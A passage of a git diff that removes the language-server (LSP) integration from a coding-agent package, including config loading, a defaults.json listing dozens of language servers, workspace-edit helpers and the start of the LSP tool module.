(const filename of filenames) { - paths.push(path.join(projectConfigDir, filename)); - } - - // User config directory - const userConfigDir = path.join(os.homedir(), CONFIG_DIR_NAME, "agent"); - for (const filename of filenames) { - paths.push(path.join(userConfigDir, filename)); - } - - // User home root files (lowest priority fallback) - for (const filename of filenames) { - paths.push(path.join(os.homedir(), filename)); - } - - return paths; -} - -/** - * Load LSP configuration. - * - * Priority (highest to lowest): - * 1. Project root: lsp.json/.lsp.json/lsp.yml/.lsp.yml/lsp.yaml/.lsp.yaml - * 2. Project config dir: {CONFIG_DIR_NAME}/lsp.* (+ hidden variants) - * 3. User config dir: ~/{CONFIG_DIR_NAME}/agent/lsp.* (+ hidden variants) - * 4. User home root: ~/lsp.*, ~/.lsp.* - * 5. Auto-detect from project markers + available binaries - */ -export function loadConfig(cwd: string): LspConfig { - let mergedServers = coerceServerConfigs(DEFAULTS); - - const configPaths = getConfigPaths(cwd).reverse(); - let hasOverrides = false; - - let idleTimeoutMs: number | undefined; - for (const configPath of configPaths) { - const parsed = readConfigFile(configPath); - if (!parsed) continue; - const hasServerOverrides = Object.keys(parsed.servers).length > 0; - if (hasServerOverrides) { - hasOverrides = true; - mergedServers = mergeServers(mergedServers, parsed.servers); - } - if (parsed.idleTimeoutMs !== undefined) { - idleTimeoutMs = parsed.idleTimeoutMs; - } - } - - if (!hasOverrides) { - const detected: Record = {}; - const defaultsWithRuntime = applyRuntimeDefaults(mergedServers); - - for (const [name, config] of Object.entries(defaultsWithRuntime)) { - if (!hasRootMarkers(cwd, config.rootMarkers)) continue; - const resolved = resolveCommand(config.command, cwd); - if (!resolved) continue; - detected[name] = { ...config, resolvedCommand: resolved }; - } - - return { servers: detected, idleTimeoutMs }; - } - - const mergedWithRuntime = applyRuntimeDefaults(mergedServers); - const available: Record = {}; - - for (const [name, config] of Object.entries(mergedWithRuntime)) { - if (config.disabled) continue; - const resolved = resolveCommand(config.command, cwd); - if (!resolved) continue; - available[name] = { ...config, resolvedCommand: resolved }; - } - - return { servers: available, idleTimeoutMs }; -} - -// ============================================================================= -// Server Selection -// ============================================================================= - -export function getServersForFile( - config: LspConfig, - filePath: string, -): Array<[string, ServerConfig]> { - const ext = path.extname(filePath).toLowerCase(); - const fileName = path.basename(filePath).toLowerCase(); - const matches: Array<[string, ServerConfig]> = []; - - for (const [name, serverConfig] of Object.entries(config.servers)) { - const supportsFile = serverConfig.fileTypes.some((fileType) => { - const normalized = fileType.toLowerCase(); - return normalized === ext || normalized === fileName; - }); - - if (supportsFile) { - matches.push([name, serverConfig]); - } - } - - // Sort: primary servers (non-linters) first, then linters - return matches.sort((a, b) => { - const aIsLinter = a[1].isLinter ? 1 : 0; - const bIsLinter = b[1].isLinter ? 1 : 0; - return aIsLinter - bIsLinter; - }); -} - -export function getServerForFile( - config: LspConfig, - filePath: string, -): [string, ServerConfig] | null { - return getServersForFile(config, filePath)[0] ?? null; -} diff --git a/packages/pi-coding-agent/src/core/lsp/defaults.json b/packages/pi-coding-agent/src/core/lsp/defaults.json deleted file mode 100644 index 5a70fae1f..000000000 --- a/packages/pi-coding-agent/src/core/lsp/defaults.json +++ /dev/null @@ -1,591 +0,0 @@ -{ - "rust-analyzer": { - "command": "rust-analyzer", - "args": [], - "fileTypes": [".rs"], - "rootMarkers": ["Cargo.toml", "rust-analyzer.toml"], - "initOptions": {}, - "settings": {}, - "capabilities": { - "flycheck": true, - "ssr": true, - "expandMacro": true, - "runnables": true, - "relatedTests": true - } - }, - "clangd": { - "command": "clangd", - "args": ["--background-index", "--clang-tidy", "--header-insertion=iwyu"], - "fileTypes": [ - ".c", - ".cpp", - ".cc", - ".cxx", - ".h", - ".hpp", - ".hxx", - ".m", - ".mm" - ], - "rootMarkers": [ - "compile_commands.json", - "CMakeLists.txt", - ".clangd", - ".clang-format", - "Makefile" - ] - }, - "zls": { - "command": "zls", - "args": [], - "fileTypes": [".zig"], - "rootMarkers": ["build.zig", "build.zig.zon", "zls.json"] - }, - "gopls": { - "command": "gopls", - "args": ["serve"], - "fileTypes": [".go", ".mod", ".sum"], - "rootMarkers": ["go.mod", "go.work", "go.sum"], - "settings": { - "gopls": { - "analyses": { "unusedparams": true, "shadow": true }, - "staticcheck": true, - "gofumpt": true - } - } - }, - "typescript-language-server": { - "command": "typescript-language-server", - "args": ["--stdio"], - "fileTypes": [".ts", ".tsx", ".js", ".jsx", ".mjs", ".cjs"], - "rootMarkers": ["package.json", "tsconfig.json", "jsconfig.json"], - "initOptions": { - "hostInfo": "sf-coding-agent", - "preferences": { - "includeInlayParameterNameHints": "all", - "includeInlayVariableTypeHints": true, - "includeInlayFunctionParameterTypeHints": true - } - } - }, - "biome": { - "command": "biome", - "args": ["lsp-proxy"], - "fileTypes": [ - ".ts", - ".tsx", - ".js", - ".jsx", - ".mjs", - ".cjs", - ".json", - ".jsonc" - ], - "rootMarkers": ["biome.json", "biome.jsonc"], - "isLinter": true - }, - "eslint": { - "command": "vscode-eslint-language-server", - "args": ["--stdio"], - "fileTypes": [ - ".ts", - ".tsx", - ".js", - ".jsx", - ".mjs", - ".cjs", - ".vue", - ".svelte" - ], - "rootMarkers": [ - ".eslintrc", - ".eslintrc.js", - ".eslintrc.json", - ".eslintrc.yml", - "eslint.config.js", - "eslint.config.mjs" - ], - "isLinter": true, - "settings": { - "validate": "on", - "run": "onType" - } - }, - "denols": { - "command": "deno", - "args": ["lsp"], - "fileTypes": [".ts", ".tsx", ".js", ".jsx"], - "rootMarkers": ["deno.json", "deno.jsonc", "deno.lock"], - "initOptions": { - "enable": true, - "lint": true, - "unstable": true - } - }, - "vscode-html-language-server": { - "command": "vscode-html-language-server", - "args": ["--stdio"], - "fileTypes": [".html", ".htm"], - "rootMarkers": ["package.json", ".git"], - "initOptions": { - "provideFormatter": true - } - }, - "vscode-css-language-server": { - "command": "vscode-css-language-server", - "args": ["--stdio"], - "fileTypes": [".css", ".scss", ".sass", ".less"], - "rootMarkers": ["package.json", ".git"], - "initOptions": { - "provideFormatter": true - } - }, - "vscode-json-language-server": { - "command": "vscode-json-language-server", - "args": ["--stdio"], - "fileTypes": [".json", ".jsonc"], - "rootMarkers": ["package.json", ".git"], - "initOptions": { - "provideFormatter": true - } - }, - "tailwindcss": { - "command": "tailwindcss-language-server", - "args": ["--stdio"], - "fileTypes": [ - ".html", - ".css", - ".scss", - ".js", - ".jsx", - ".ts", - ".tsx", - ".vue", - ".svelte" - ], - "rootMarkers": [ - "tailwind.config.js", - "tailwind.config.ts", - "tailwind.config.mjs", - "tailwind.config.cjs" - ] - }, - "svelte": { - "command": "svelteserver", - "args": ["--stdio"], - "fileTypes": [".svelte"], - "rootMarkers": ["svelte.config.js", "svelte.config.mjs", "package.json"] - }, - "vue-language-server": { - "command": "vue-language-server", - "args": ["--stdio"], - "fileTypes": [".vue"], - "rootMarkers": [ - "vue.config.js", - "nuxt.config.js", - "nuxt.config.ts", - "package.json" - ] - }, - "astro": { - "command": "astro-ls", - "args": ["--stdio"], - "fileTypes": [".astro"], - "rootMarkers": ["astro.config.mjs", "astro.config.js", "astro.config.ts"] - }, - "pyright": { - "command": "pyright-langserver", - "args": ["--stdio"], - "fileTypes": [".py", ".pyi"], - "rootMarkers": [ - "pyproject.toml", - "pyrightconfig.json", - "setup.py", - "setup.cfg", - "requirements.txt", - "Pipfile" - ], - "settings": { - "python": { - "analysis": { - "autoSearchPaths": true, - "diagnosticMode": "openFilesOnly", - "useLibraryCodeForTypes": true - } - } - } - }, - "basedpyright": { - "command": "basedpyright-langserver", - "args": ["--stdio"], - "fileTypes": [".py", ".pyi"], - "rootMarkers": [ - "pyproject.toml", - "pyrightconfig.json", - "setup.py", - "requirements.txt" - ], - "settings": { - "basedpyright": { - "analysis": { - "autoSearchPaths": true, - "diagnosticMode": "openFilesOnly", - "useLibraryCodeForTypes": true - } - } - } - }, - "pylsp": { - "command": "pylsp", - "args": [], - "fileTypes": [".py"], - "rootMarkers": [ - "pyproject.toml", - "setup.py", - "setup.cfg", - "requirements.txt", - "Pipfile" - ] - }, - "ruff": { - "command": "ruff", - "args": ["server"], - "fileTypes": [".py", ".pyi"], - "rootMarkers": ["pyproject.toml", "ruff.toml", ".ruff.toml"], - "isLinter": true - }, - "jdtls": { - "command": "jdtls", - "args": [], - "fileTypes": [".java"], - "rootMarkers": [ - "pom.xml", - "build.gradle", - "build.gradle.kts", - "settings.gradle", - ".project" - ] - }, - "kotlin-lsp": { - "command": "kotlin-lsp", - "args": [], - "fileTypes": [".kt", ".kts"], - "rootMarkers": [ - "build.gradle", - "build.gradle.kts", - "pom.xml", - "settings.gradle", - "settings.gradle.kts" - ] - }, - "metals": { - "command": "metals", - "args": [], - "fileTypes": [".scala", ".sbt", ".sc"], - "rootMarkers": ["build.sbt", "build.sc", "build.gradle", "pom.xml"], - "initOptions": { - "statusBarProvider": "show-message", - "isHttpEnabled": true - } - }, - "hls": { - "command": "haskell-language-server-wrapper", - "args": ["--lsp"], - "fileTypes": [".hs", ".lhs"], - "rootMarkers": [ - "stack.yaml", - "cabal.project", - "hie.yaml", - "package.yaml", - "*.cabal" - ], - "settings": { - "haskell": { - "formattingProvider": "ormolu", - "checkProject": true - } - } - }, - "ocamllsp": { - "command": "ocamllsp", - "args": [], - "fileTypes": [".ml", ".mli", ".mll", ".mly"], - "rootMarkers": ["dune-project", "dune-workspace", "*.opam", ".ocamlformat"] - }, - "elixirls": { - "command": "elixir-ls", - "args": [], - "fileTypes": [".ex", ".exs", ".heex", ".eex"], - "rootMarkers": ["mix.exs", "mix.lock"], - "settings": { - "elixirLS": { - "dialyzerEnabled": true, - "fetchDeps": false - } - } - }, - "erlangls": { - "command": "erlang_ls", - "args": [], - "fileTypes": [".erl", ".hrl"], - "rootMarkers": ["rebar.config", "erlang.mk", "rebar.lock"] - }, - "gleam": { - "command": "gleam", - "args": ["lsp"], - "fileTypes": [".gleam"], - "rootMarkers": ["gleam.toml"] - }, - "solargraph": { - "command": "solargraph", - "args": ["stdio"], - "fileTypes": [".rb", ".rake", ".gemspec"], - "rootMarkers": ["Gemfile", ".solargraph.yml", "Rakefile"], - "initOptions": { - "formatting": true - }, - "settings": { - "solargraph": { - "diagnostics": true, - "completion": true, - "hover": true, - "formatting": true, - "references": true, - "rename": true, - "symbols": true - } - } - }, - "ruby-lsp": { - "command": "ruby-lsp", - "args": [], - "fileTypes": [".rb", ".rake", ".gemspec", ".erb"], - "rootMarkers": ["Gemfile", ".ruby-version", ".ruby-gemset"], - "initOptions": { - "formatter": "auto" - } - }, - "rubocop": { - "command": "rubocop", - "args": ["--lsp"], - "fileTypes": [".rb", ".rake"], - "rootMarkers": [".rubocop.yml", "Gemfile"], - "isLinter": true - }, - "bashls": { - "command": "bash-language-server", - "args": ["start"], - "fileTypes": [".sh", ".bash", ".zsh"], - "rootMarkers": [".git"], - "settings": { - "bashIde": { - "globPattern": "*@(.sh|.inc|.bash|.command)" - } - } - }, - "lua-language-server": { - "command": "lua-language-server", - "args": [], - "fileTypes": [".lua"], - "rootMarkers": [ - ".luarc.json", - ".luarc.jsonc", - ".luacheckrc", - ".stylua.toml", - "stylua.toml" - ], - "settings": { - "Lua": { - "runtime": { "version": "LuaJIT" }, - "diagnostics": { "globals": ["vim"] }, - "workspace": { "checkThirdParty": false }, - "telemetry": { "enable": false } - } - } - }, - "intelephense": { - "command": "intelephense", - "args": ["--stdio"], - "fileTypes": [".php", ".phtml"], - "rootMarkers": ["composer.json", "composer.lock", ".git"] - }, - "phpactor": { - "command": "phpactor", - "args": ["language-server"], - "fileTypes": [".php"], - "rootMarkers": ["composer.json", ".phpactor.json", ".phpactor.yml"] - }, - "omnisharp": { - "command": "omnisharp", - "args": [ - "-z", - "--hostPID", - "$PID", - "--encoding", - "utf-8", - "--languageserver" - ], - "fileTypes": [".cs", ".csx"], - "rootMarkers": ["*.sln", "*.csproj", "omnisharp.json", ".git"], - "settings": { - "FormattingOptions": { "EnableEditorConfigSupport": true }, - "RoslynExtensionsOptions": { "EnableAnalyzersSupport": true } - } - }, - "yamlls": { - "command": "yaml-language-server", - "args": ["--stdio"], - "fileTypes": [".yaml", ".yml"], - "rootMarkers": [".git"], - "settings": { - "yaml": { - "validate": true, - "format": { "enable": true }, - "hover": true, - "completion": true - }, - "redhat": { "telemetry": { "enabled": false } } - } - }, - "taplo": { - "command": "taplo", - "args": ["lsp", "stdio"], - "fileTypes": [".toml"], - "rootMarkers": [".taplo.toml", "taplo.toml", ".git"] - }, - "terraformls": { - "command": "terraform-ls", - "args": ["serve"], - "fileTypes": [".tf", ".tfvars"], - "rootMarkers": [".terraform", "terraform.tfstate", "*.tf"] - }, - "dockerls": { - "command": "docker-langserver", - "args": ["--stdio"], - "fileTypes": [".dockerfile", "Dockerfile"], - "rootMarkers": [ - "Dockerfile", - "docker-compose.yml", - "docker-compose.yaml", - ".dockerignore" - ] - }, - "helm-ls": { - "command": "helm_ls", - "args": ["serve"], - "fileTypes": [".yaml", ".yml", ".tpl"], - "rootMarkers": ["Chart.yaml", "Chart.yml"] - }, - "nixd": { - "command": "nixd", - "args": [], - "fileTypes": [".nix"], - "rootMarkers": ["flake.nix", "default.nix", "shell.nix"] - }, - "nil": { - "command": "nil", - "args": [], - "fileTypes": [".nix"], - "rootMarkers": ["flake.nix", "default.nix", "shell.nix"] - }, - "ols": { - "command": "ols", - "args": [], - "fileTypes": [".odin"], - "rootMarkers": ["ols.json", ".git"] - }, - "dartls": { - "command": "dart", - "args": ["language-server", "--protocol=lsp"], - "fileTypes": [".dart"], - "rootMarkers": ["pubspec.yaml", "pubspec.lock"], - "initOptions": { - "closingLabels": true, - "flutterOutline": true, - "outline": true - } - }, - "marksman": { - "command": "marksman", - "args": ["server"], - "fileTypes": [".md", ".markdown"], - "rootMarkers": [".marksman.toml", ".git"] - }, - "texlab": { - "command": "texlab", - "args": [], - "fileTypes": [".tex", ".bib", ".sty", ".cls"], - "rootMarkers": [ - ".latexmkrc", - "latexmkrc", - ".texlabroot", - "texlabroot", - "Tectonic.toml" - ], - "settings": { - "texlab": { - "build": { - "executable": "latexmk", - "args": ["-pdf", "-interaction=nonstopmode", "-synctex=1", "%f"] - }, - "chktex": { "onOpenAndSave": true } - } - } - }, - "graphql": { - "command": "graphql-lsp", - "args": ["server", "-m", "stream"], - "fileTypes": [".graphql", ".gql"], - "rootMarkers": [ - ".graphqlrc", - ".graphqlrc.json", - ".graphqlrc.yml", - ".graphqlrc.yaml", - "graphql.config.js" - ] - }, - "prismals": { - "command": "prisma-language-server", - "args": ["--stdio"], - "fileTypes": [".prisma"], - "rootMarkers": ["schema.prisma", "prisma/schema.prisma"] - }, - "vimls": { - "command": "vim-language-server", - "args": ["--stdio"], - "fileTypes": [".vim", ".vimrc"], - "rootMarkers": [".git"], - "initOptions": { - "isNeovim": true, - "diagnostic": { "enable": true } - } - }, - "emmet-language-server": { - "command": "emmet-language-server", - "args": ["--stdio"], - "fileTypes": [ - ".html", - ".css", - ".scss", - ".less", - ".jsx", - ".tsx", - ".vue", - ".svelte" - ], - "rootMarkers": [".git"] - }, - "sourcekit-lsp": { - "command": "sourcekit-lsp", - "args": [], - "fileTypes": [".swift"], - "rootMarkers": [ - "Package.swift", - "*.xcodeproj", - "*.xcworkspace", - "project.yml", - ".swiftpm" - ] - } -} diff --git a/packages/pi-coding-agent/src/core/lsp/edits.ts b/packages/pi-coding-agent/src/core/lsp/edits.ts deleted file mode 100644 index bb9d7e8f7..000000000 --- a/packages/pi-coding-agent/src/core/lsp/edits.ts +++ /dev/null @@ -1,145 +0,0 @@ -import * as fs from "node:fs/promises"; -import path from "node:path"; -import type { - CreateFile, - DeleteFile, - RenameFile, - TextDocumentEdit, - TextEdit, - WorkspaceEdit, -} from "./types.js"; -import { uriToFile } from "./utils.js"; - -// ============================================================================= -// Text Edit Application -// ============================================================================= - -/** - * Apply text edits to a string in-memory. - * Edits are applied in reverse order (bottom-to-top) to preserve line/character indices. - */ -function applyTextEditsToString(content: string, edits: TextEdit[]): string { - const lines = content.split("\n"); - - // Sort edits in reverse order (bottom-to-top, right-to-left) - const sortedEdits = [...edits].sort((a, b) => { - if (a.range.start.line !== b.range.start.line) { - return b.range.start.line - a.range.start.line; - } - return b.range.start.character - a.range.start.character; - }); - - for (const edit of sortedEdits) { - const { start, end } = edit.range; - - // Single-line edit: replace substring within same line - if (start.line === end.line) { - const line = lines[start.line] || ""; - lines[start.line] = - line.slice(0, start.character) + - edit.newText + - line.slice(end.character); - } else { - // Multi-line edit: splice across multiple lines - const startLine = lines[start.line] || ""; - const endLine = lines[end.line] || ""; - const newContent = - startLine.slice(0, start.character) + - edit.newText + - endLine.slice(end.character); - lines.splice( - start.line, - end.line - start.line + 1, - ...newContent.split("\n"), - ); - } - } - - return lines.join("\n"); -} - -/** - * Apply text edits to a file. - * Edits are applied in reverse order (bottom-to-top) to preserve line/character indices. - */ -export async function applyTextEdits( - filePath: string, - edits: TextEdit[], -): Promise { - const content = await fs.readFile(filePath, "utf-8"); - const result = applyTextEditsToString(content, edits); - await fs.writeFile(filePath, result); -} - -// ============================================================================= -// Workspace Edit Application -// ============================================================================= - -/** - * Apply a workspace edit (collection of file changes). - * Returns array of applied change descriptions. - */ -export async function applyWorkspaceEdit( - edit: WorkspaceEdit, - cwd: string, -): Promise { - const applied: string[] = []; - - // Handle changes map (legacy format) - if (edit.changes) { - for (const [uri, textEdits] of Object.entries(edit.changes)) { - const filePath = uriToFile(uri); - await applyTextEdits(filePath, textEdits); - applied.push( - `Applied ${textEdits.length} edit(s) to ${path.relative(cwd, filePath)}`, - ); - } - } - - // Handle documentChanges array (modern format) - if (edit.documentChanges) { - for (const change of edit.documentChanges) { - if ( - "textDocument" in change && - change.textDocument && - "edits" in change && - change.edits - ) { - // TextDocumentEdit - const docChange = change as TextDocumentEdit; - const filePath = uriToFile(docChange.textDocument.uri); - const textEdits = docChange.edits.filter( - (e): e is TextEdit => "range" in e && "newText" in e, - ); - await applyTextEdits(filePath, textEdits); - applied.push( - `Applied ${textEdits.length} edit(s) to ${path.relative(cwd, filePath)}`, - ); - } else if ("kind" in change && change.kind) { - // Resource operations - if (change.kind === "create") { - const createOp = change as CreateFile; - const filePath = uriToFile(createOp.uri); - await fs.writeFile(filePath, ""); - applied.push(`Created ${path.relative(cwd, filePath)}`); - } else if (change.kind === "rename") { - const renameOp = change as RenameFile; - const oldPath = uriToFile(renameOp.oldUri); - const newPath = uriToFile(renameOp.newUri); - await fs.mkdir(path.dirname(newPath), { recursive: true }); - await fs.rename(oldPath, newPath); - applied.push( - `Renamed ${path.relative(cwd, oldPath)} → ${path.relative(cwd, newPath)}`, - ); - } else if (change.kind === "delete") { - const deleteOp = change as DeleteFile; - const filePath = uriToFile(deleteOp.uri); - await fs.rm(filePath, { recursive: true }); - applied.push(`Deleted ${path.relative(cwd, filePath)}`); - } - } - } - } - - return applied; -} diff --git a/packages/pi-coding-agent/src/core/lsp/helpers.ts b/packages/pi-coding-agent/src/core/lsp/helpers.ts deleted file mode 100644 index 5a066d69f..000000000 --- a/packages/pi-coding-agent/src/core/lsp/helpers.ts +++ /dev/null @@ -1,57 +0,0 @@ -/** - * Local helpers replacing @oh-my-pi/pi-utils and tool-errors/tool-timeouts imports. - */ - -export class ToolAbortError extends Error { - constructor() { - super("Tool execution aborted"); - this.name = "ToolAbortError"; - } -} - -export function throwIfAborted(signal?: AbortSignal): void { - if (signal?.aborted) { - throw new ToolAbortError(); - } -} - -export function isEnoent(err: unknown): boolean { - return (err as any)?.code === "ENOENT"; -} - -export function isRecord(v: unknown): v is Record { - return typeof v === "object" && v !== null && !Array.isArray(v); -} - -export function clampTimeout(timeout?: number): number { - return Math.max(5, Math.min(60, timeout ?? 20)); -} - -/** - * Run a promise, rejecting if the signal aborts. - */ -export async function untilAborted( - signal: AbortSignal | undefined, - fn: () => Promise, -): Promise { - if (signal?.aborted) { - throw new ToolAbortError(); - } - if (!signal) { - return fn(); - } - return new Promise((resolve, reject) => { - const onAbort = () => reject(new ToolAbortError()); - signal.addEventListener("abort", onAbort, { once: true }); - fn().then( - (result) => { - signal.removeEventListener("abort", onAbort); - resolve(result); - }, - (err) => { - signal.removeEventListener("abort", onAbort); - reject(err); - }, - ); - }); -} diff --git a/packages/pi-coding-agent/src/core/lsp/index.ts b/packages/pi-coding-agent/src/core/lsp/index.ts deleted file mode 100644 index e17913d03..000000000 --- a/packages/pi-coding-agent/src/core/lsp/index.ts +++ /dev/null @@ -1,1337 +0,0 @@ -import { spawn } from "node:child_process"; -import * as fs from "node:fs"; -import * as fsSync from "node:fs"; -import * as path from "node:path"; -import type { - AgentTool, - AgentToolResult, - AgentToolUpdateCallback, -} from "@singularity-forge/pi-agent-core"; -import { - ensureFileOpen, - getActiveClients, - getOrCreateClient, - type LspServerStatus, - refreshFile, - sendRequest, - setIdleTimeout, - WARMUP_TIMEOUT_MS, -} from "./client.js"; -import { - getServerForFile, - getServersForFile, - hasRootMarkers, - type LspConfig, - loadConfig, - resolveCommand, -} from "./config.js"; -import { applyTextEdits, applyWorkspaceEdit } from "./edits.js"; -import { clampTimeout, ToolAbortError, throwIfAborted } from "./helpers.js"; -import { detectLspmux } from "./lspmux.js"; -import { - type CallHierarchyIncomingCall, - type CallHierarchyItem, - type CallHierarchyOutgoingCall, - type CodeAction, - type CodeActionContext, - type Command, - type Diagnostic, - type DocumentSymbol, - type Hover, - type Location, - type LocationLink, - type LspClient, - type LspParams, - type LspToolDetails, - lspSchema, - type ServerConfig, - type SignatureHelp, - type SymbolInformation, - type TextEdit, - type WorkspaceEdit, -} from "./types.js"; -import { - applyCodeAction, - collectGlobMatches, - dedupeWorkspaceSymbols, - extractHoverText, - fileToUri, - filterWorkspaceSymbols, - formatCallHierarchyItem, - formatCodeAction, - formatDiagnostic, - formatDiagnosticsSummary, - formatDocumentSymbol, - formatGroupedDiagnosticMessages, - formatLocation, - formatSignatureHelp, - formatSymbolInformation, - formatWorkspaceEdit, - hasGlobPattern, - readLocationContext, - resolveSymbolColumn, - sortDiagnostics, - symbolKindToIcon, - uriToFile, -} from "./utils.js"; - -export type { LspServerStatus } from "./client.js"; -export type { LspToolDetails } from "./types.js"; -export { lspSchema } from "./types.js"; - -const lspDescription = fsSync.readFileSync( - path.join(import.meta.dirname, "lsp.md"), - "utf-8", -); - -// ============================================================================= -// Warmup API -// ============================================================================= - -export interface LspWarmupResult { - servers: Array<{ - name: string; - status: "ready" | "error"; - fileTypes: string[]; - error?: string; - }>; -} - -export async function warmupLspServers(cwd: string): Promise { - const config = loadConfig(cwd); - setIdleTimeout(config.idleTimeoutMs); - const servers: LspWarmupResult["servers"] = []; - const lspServers = getLspServers(config); - - const results = await Promise.allSettled( - lspServers.map(async ([name, serverConfig]) => { - const client = await getOrCreateClient( - serverConfig, - cwd, - serverConfig.warmupTimeoutMs ?? WARMUP_TIMEOUT_MS, - ); - return { name, client, fileTypes: serverConfig.fileTypes }; - }), - ); - - for (let i = 0; i < results.length; i++) { - const result = results[i]; - const [name, serverConfig] = lspServers[i]; - if (result.status === "fulfilled") { - servers.push({ - name: result.value.name, - status: "ready", - fileTypes: result.value.fileTypes, - }); - } else { - servers.push({ - name, - status: "error", - fileTypes: serverConfig.fileTypes, - error: result.reason?.message ?? String(result.reason), - }); - } - } - - return { servers }; -} - -export function getLspStatus(): LspServerStatus[] { - return getActiveClients(); -} - -// ============================================================================= -// Internal Helpers -// ============================================================================= - -const configCache = new Map(); - -function getConfig(cwd: string): LspConfig { - let config = configCache.get(cwd); - if (!config) { - config = loadConfig(cwd); - setIdleTimeout(config.idleTimeoutMs); - configCache.set(cwd, config); - } - return config; -} - -function getLspServers(config: LspConfig): Array<[string, ServerConfig]> { - return Object.entries(config.servers) as Array<[string, ServerConfig]>; -} - -const DIAGNOSTIC_MESSAGE_LIMIT = 50; -const SINGLE_DIAGNOSTICS_WAIT_TIMEOUT_MS = 3000; -const BATCH_DIAGNOSTICS_WAIT_TIMEOUT_MS = 400; -const MAX_GLOB_DIAGNOSTIC_TARGETS = 20; -const WORKSPACE_SYMBOL_LIMIT = 200; - -function _limitDiagnosticMessages(messages: string[]): string[] { - if (messages.length <= DIAGNOSTIC_MESSAGE_LIMIT) { - return messages; - } - return messages.slice(0, DIAGNOSTIC_MESSAGE_LIMIT); -} - -const LOCATION_CONTEXT_LINES = 1; -const REFERENCE_CONTEXT_LIMIT = 50; - -function normalizeLocationResult( - result: Location | Location[] | LocationLink | LocationLink[] | null, -): Location[] { - if (!result) return []; - const raw = Array.isArray(result) ? result : [result]; - return raw.flatMap((loc) => { - if ("uri" in loc) { - return [loc as Location]; - } - if ("targetUri" in loc) { - const link = loc as LocationLink; - return [ - { - uri: link.targetUri, - range: link.targetSelectionRange ?? link.targetRange, - }, - ]; - } - return []; - }); -} - -async function formatLocationWithContext( - location: Location, - cwd: string, -): Promise { - const header = ` ${formatLocation(location, cwd)}`; - const context = await readLocationContext( - uriToFile(location.uri), - location.range.start.line + 1, - LOCATION_CONTEXT_LINES, - ); - if (context.length === 0) { - return header; - } - return `${header}\n${context.map((lineText) => ` ${lineText}`).join("\n")}`; -} - -async function formatLocationResults( - result: Location | Location[] | LocationLink | LocationLink[] | null, - label: string, - cwd: string, -): Promise { - const locations = normalizeLocationResult(result); - if (locations.length === 0) { - return `No ${label} found`; - } - const lines = await Promise.all( - locations.map((location) => formatLocationWithContext(location, cwd)), - ); - return `Found ${locations.length} ${label}(s):\n${lines.join("\n")}`; -} - -async function formatCallHierarchyResults( - client: LspClient, - position: { line: number; character: number }, - uri: string, - direction: "incoming" | "outgoing", - cwd: string, - signal?: AbortSignal, -): Promise { - const prepareResult = (await sendRequest( - client, - "textDocument/prepareCallHierarchy", - { textDocument: { uri }, position }, - signal, - )) as CallHierarchyItem[] | null; - - if (!prepareResult || prepareResult.length === 0) { - return "No call hierarchy item found at this position"; - } - - const method = - direction === "incoming" - ? "callHierarchy/incomingCalls" - : "callHierarchy/outgoingCalls"; - const callResult = (await sendRequest( - client, - method, - { item: prepareResult[0] }, - signal, - )) as CallHierarchyIncomingCall[] | CallHierarchyOutgoingCall[] | null; - - if (!callResult || callResult.length === 0) { - const verb = direction === "incoming" ? "incoming calls" : "outgoing calls"; - const prep = direction === "incoming" ? "for" : "from"; - return `No ${verb} found ${prep} ${prepareResult[0].name}`; - } - - const lines: string[] = []; - const limited = callResult.slice(0, REFERENCE_CONTEXT_LIMIT); - for (const call of limited) { - const item = "from" in call ? call.from : call.to; - const header = formatCallHierarchyItem(item, cwd); - const filePath = uriToFile(item.uri); - const callLine = - ("from" in call ? call.fromRanges[0]?.start.line : undefined) ?? - item.selectionRange.start.line; - const context = await readLocationContext( - filePath, - callLine + 1, - LOCATION_CONTEXT_LINES, - ); - if (context.length > 0) { - lines.push(` ${header}\n${context.map((l) => ` ${l}`).join("\n")}`); - } else { - lines.push(` ${header}`); - } - } - - const noun = direction === "incoming" ? "caller" : "callee"; - const prep = direction === "incoming" ? "of" : "from"; - const truncation = - callResult.length > REFERENCE_CONTEXT_LIMIT - ? `\n ... ${callResult.length - REFERENCE_CONTEXT_LIMIT} additional ${noun}(s) omitted` - : ""; - return `${callResult.length} ${noun}(s) ${prep} ${prepareResult[0].name}:\n${lines.join("\n")}${truncation}`; -} - -async function reloadServer( - client: LspClient, - serverName: string, - signal?: AbortSignal, -): Promise { - let output = `Restarted ${serverName}`; - const reloadMethods = [ - "rust-analyzer/reloadWorkspace", - "workspace/didChangeConfiguration", - ]; - for (const method of reloadMethods) { - try { - await sendRequest( - client, - method, - method.includes("Configuration") ? { settings: {} } : null, - signal, - ); - output = `Reloaded ${serverName}`; - break; - } catch { - // Method not supported, try next - } - } - if (output.startsWith("Restarted")) { - client.proc.kill(); - // Wait for the process to actually exit so the crash recovery handler - // removes the client from the cache. Without this, the next - // getOrCreateClient call may return the dead client (#815). - await Promise.race([ - client.proc.exited, - new Promise((r) => setTimeout(r, 3000)), - ]); - } - return output; -} - -async function waitForDiagnostics( - client: LspClient, - uri: string, - timeoutMs = 3000, - signal?: AbortSignal, - minVersion?: number, -): Promise { - const start = Date.now(); - while (Date.now() - start < timeoutMs) { - throwIfAborted(signal); - const diagnostics = client.diagnostics.get(uri); - const versionOk = - minVersion === undefined || client.diagnosticsVersion > minVersion; - if (diagnostics !== undefined && versionOk) return diagnostics; - await new Promise((resolve) => setTimeout(resolve, 100)); - } - return client.diagnostics.get(uri) ?? []; -} - -// ============================================================================= -// Workspace Diagnostics -// ============================================================================= - -interface ProjectType { - type: "rust" | "typescript" | "go" | "python" | "unknown"; - command?: string[]; - description: string; -} - -function detectProjectType(cwd: string): ProjectType { - if (fs.existsSync(path.join(cwd, "Cargo.toml"))) { - return { - type: "rust", - command: ["cargo", "check", "--message-format=short"], - description: "Rust (cargo check)", - }; - } - if (fs.existsSync(path.join(cwd, "tsconfig.json"))) { - return { - type: "typescript", - command: ["npx", "tsc", "--noEmit"], - description: "TypeScript (tsc --noEmit)", - }; - } - if (fs.existsSync(path.join(cwd, "go.mod"))) { - return { - type: "go", - command: ["go", "build", "./..."], - description: "Go (go build)", - }; - } - if ( - fs.existsSync(path.join(cwd, "pyproject.toml")) || - fs.existsSync(path.join(cwd, "pyrightconfig.json")) - ) { - return { - type: "python", - command: ["pyright"], - description: "Python (pyright)", - }; - } - return { type: "unknown", description: "Unknown project type" }; -} - -async function runWorkspaceDiagnostics( - cwd: string, - signal?: AbortSignal, -): Promise<{ output: string; projectType: ProjectType }> { - throwIfAborted(signal); - const projectType = detectProjectType(cwd); - if (!projectType.command) { - return { - output: - "Cannot detect project type. Supported: Rust (Cargo.toml), TypeScript (tsconfig.json), Go (go.mod), Python (pyproject.toml)", - projectType, - }; - } 